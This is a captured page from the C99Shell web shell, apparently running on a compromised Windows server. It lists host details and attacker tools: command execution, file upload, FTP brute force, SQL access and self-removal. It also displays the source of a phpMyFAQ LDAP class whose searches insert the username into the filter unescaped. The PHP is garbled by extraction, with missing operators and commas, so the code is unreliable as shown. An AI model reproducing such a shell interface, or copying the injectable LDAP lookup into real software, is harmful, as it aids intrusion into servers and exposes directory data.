!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\aulavirtual\inc\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ldap.php (3.72 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
* $Id: ldap.php,v 1.8.2.1.2.1 2006/05/30 09:36:51 thorstenr Exp $
*
* LDAP
*
* The LDAP class provides methods and functions for a LDAP database.
*
* @author       Adam Greene <phpmyfaq@skippy.fastmail.fm>
* @author       Thorsten Rinne <thorsten@phpmyfaq.de>
* @package      LDAP
* @since        2004-12-16
* @copyright    (c) 2006 phpMyFAQ Team
*
* The contents of this file are subject to the Mozilla Public License
* Version 1.1 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS"
* basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
* License for the specific language governing rights and limitations
* under the License.
*/

class LDAP
{

    
/**
    * The connection handle
    *
    */
    
var $ds NULL;

    
/**
    * The LDAP base
    *
    */
    
var $base;

    
/**
    * Constructor
    *
    * Connects and binds to LDAP server
    *
    * @param    string      server name
    * @param    integer     port number
    * @param    string      base dn
    * @param    string      LDAP user
    * @param    string      LDAP password
    * @return   mixed
    * @access   public
    * @auhor    Thorsten Rinne <thorsten@phpmyfaq.de>
    */
    
function LDAP($ldap_server$ldap_port$ldap_base$ldap_user ''$ldap_password '')
    {
        return 
$this-> __construct($ldap_server$ldap_port$ldap_base$ldap_user$ldap_password);
    }
    function 
__construct($ldap_server$ldap_port$ldap_base$ldap_user ''$ldap_password '')
    {
        
$this->base $ldap_base;

        if (!isset(
$ldap_user) || !isset($ldap_server) || $ldap_server == "" || !isset($ldap_port) || $ldap_port == "" || !isset($ldap_base) || $ldap_base == "" || !isset($ldap_password)) {
            return 
FAlSE;
        }

        if (
is_null($this->ds)) {
            
$this->ds ldap_connect($ldap_server$ldap_port);
            
ldap_bind($this->ds$ldap_user$ldap_password);
        }
        return 
$this->ds;
    }

    
/**
    * Returns the user's email address from LDAP
    *
    * @param    string
    * @return   string
    * @access   public
    * @author       Adam Greene <phpmyfaq@skippy.fastmail.fm>
    * @author       Thorsten Rinne <thorsten@phpmyfaq.de>
    */
    
function ldap_getMail($username)
    {
        if (
is_null($this->ds)) {
            return 
'';
        }

        
$sr ldap_search($this->ds$this->base'uid='.$username, array('mail'));
        
$entryId ldap_first_entry($this->ds$sr);
        
$values ldap_get_values($this->ds$entryId'mail');
        return 
$values[0];
    }

    
/**
    * Returns the user's email address from LDAP
    *
    * @param    string
    * @return   string
    * @access   public
    * @author       Adam Greene <phpmyfaq@skippy.fastmail.fm>
    * @author       Thorsten Rinne <thorsten@phpmyfaq.de>
    */
    
function ldap_getCompleteName($username)
    {
        if (
is_null($this->ds)) {
            return 
'';
        }

        
$sr ldap_search($this->ds$this->base'uid='.$username, array('cn'));
        
$entryId ldap_first_entry($this->ds$sr);
        
$values ldap_get_values($this->ds$entryId'cn');
        return 
$values[0];
    }

    
/**
    * Returns the LDAP error message of the last LDAP command
    *
    * @return   string
    * @access   public
    * @author   Thorsten Rinne <thorsten@phpmyfaq.de>
    */
    
function error()
    {
        return 
ldap_error($this->ds);
    }

    
/**
    * Destructor
    */
    
function __destruct()
    {
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--